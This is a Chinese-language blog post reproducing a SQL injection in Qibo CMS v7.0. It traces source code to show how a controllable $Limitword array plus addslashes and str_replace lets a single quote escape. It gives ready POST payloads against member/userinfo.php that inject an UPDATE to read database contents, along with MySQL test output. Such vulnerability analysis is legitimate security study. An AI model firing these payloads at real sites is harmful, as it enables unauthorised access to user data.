齐博sql注入复现
Jun 6, 2018 09:54 · 313 words · 2 minute read
.
知识点
- addslashes将%00转义为\0
- str_replace函数参数可控。
- 单引号逃逸小手法
- update注入
复现版本 - 齐博v7.0
先走一遍利用流程
1.注册用户 2.修改信息 3.查看注入信息
1.注册用户
记住这里的uid,后面要用到。 2.修改信息
这里的几个参数需要注意一下。 3.查看信息
在这里我们已经可以看到我们注出的信息了。
原理分析
单引号逃逸小手法
看一段代码
<?php
@$a = $_GET['a'];
@$b = $_GET['b'];
$a = addslashes($a);
$b = addslashes($b);
$c = str_replace($a,'', $b); //$c = str_replace('0','', $b);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
?>
url为http://127.0.0.1/45.php?a=0&b=%00'
输出结果
0
\0\'
\\'
由输出结果可以得到我们可以利用\\'
的方式,来使单引号逃逸。
这里是因为addslashes函数对%00转义为\0,然后再利用str_replace函数,将0替换为空,这样就达到了目的。
知道了这种逃逸的手法,再来看齐博的这个注入。
齐博源码分析
/member/userinfo.php 第108-110行
$truename=replace_bad_word($truename);
$introduce=replace_bad_word($introduce);
$address=replace_bad_word($address);
继续跟进这个replace_bad_word函数到/inc/function.inc.php的第375-383行
/*过滤不健康的字*/
function replace_bad_word($str){
global $Limitword;
@include_once(ROOT_PATH."data/limitword.php");
foreach( $Limitword AS $old=>$new){
strlen($old)>2 && $str=str_replace($old,trim($new),$str); //trim函数就是将字符两侧的空格去除
}
return $str;
}
这个函数就是将传入的\$str变量中的非法字符做替换,替换的内容来自于limitword文件。
再看一下limitword.php的内容
<?php
$Limitword['造反']='造**';
$Limitword['法轮功']='法**功';
从这里看 \$Limitword数组并没有初始值。而且在replace_bad_word函数的定义里,声明了\$Limitword为全局变量。
于是可以尝试构造一个$Limitword值,我们可控的参数一般就是GET或者POST,在\inc\common.inc.php的42-49行是齐博处理传参的地方。代码如下
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
看到这里,就很清晰了。可以通过构造一个GET或者POST参数来构造一个$Limitword的值。
这时再回头看replace_bad_word函数中str_replace函数的使用,就会发现三个参数都是可控的。
这时就可以使用最前面介绍的单引号逃逸的手法了。
但是齐博有一个过滤特殊字符的函数filtrate()
$truename=filtrate($truename);
$idcard=filtrate($idcard);
$telephone=filtrate($telephone);
$address=filtrate($address);
$introduce=filtrate($introduce);
$homepage=filtrate($homepage);
/**
*过滤安全字符
**/
function filtrate($msg){
//$msg = str_replace('&','&',$msg);
//$msg = str_replace(' ',' ',$msg);
$msg = str_replace('"','"',$msg);
$msg = str_replace("'",''',$msg);
$msg = str_replace("<","<",$msg);
$msg = str_replace(">",">",$msg);
$msg = str_replace("\t"," ",$msg);
//$msg = str_replace("\r","",$msg);
$msg = str_replace(" "," ",$msg);
return $msg;
}
这个函数限制了我们传入单引号,所以select注入是行不通了,但是update却可以。
简单看一下update注入的利用
update yang set name='1',password='1' where id=1;
update yang set name='1\',password=',password=(select version())#;1' where id=1;
就是这样将注的数据更新到我们可以查看的地方,就达到了注数据的目的。
更改用户数据的代码在/member/userinfo.php的
构造payload如下
http://127.0.0.1/cms/qibo_gbk/member/userinfo.php?job=edit&step=2
POST数据
truename=xxxx%0000&Limitword[000]=&email=1213@qq.com&old_password=123456&provinceid=
看到报错单引号已经转义。继续构造
http://127.0.0.1/cms/qibo_gbk/member/userinfo.php?job=edit&step=2
POST数据
truename=xxxx%0000&Limitword[000]=&email=1213@qq.com&old_password=123456&provinceid=,address=(select database()) where uid=2%23
然后就可以到个人信息页面查看结果。
update实验
mysql> select * from yang;
+------+------+----------+
| id | name | password |
+------+------+----------+
| 1 | yang | yang |
+------+------+----------+
1 row in set (0.06 sec)
mysql> update yang set name='1',password='1' where id=1;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from yang;
+------+------+----------+
| id | name | password |
+------+------+----------+
| 1 | 1 | 1 |
+------+------+----------+
mysql> update yang set name='1\',password=',password=(select version())#;1' where id=1;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from yang;
+------+--------------+----------+
| id | name | password |
+------+--------------+----------+
| 1 | 1',password= | 5.5.53 |
+------+--------------+----------+
1 row in set (0.00 sec)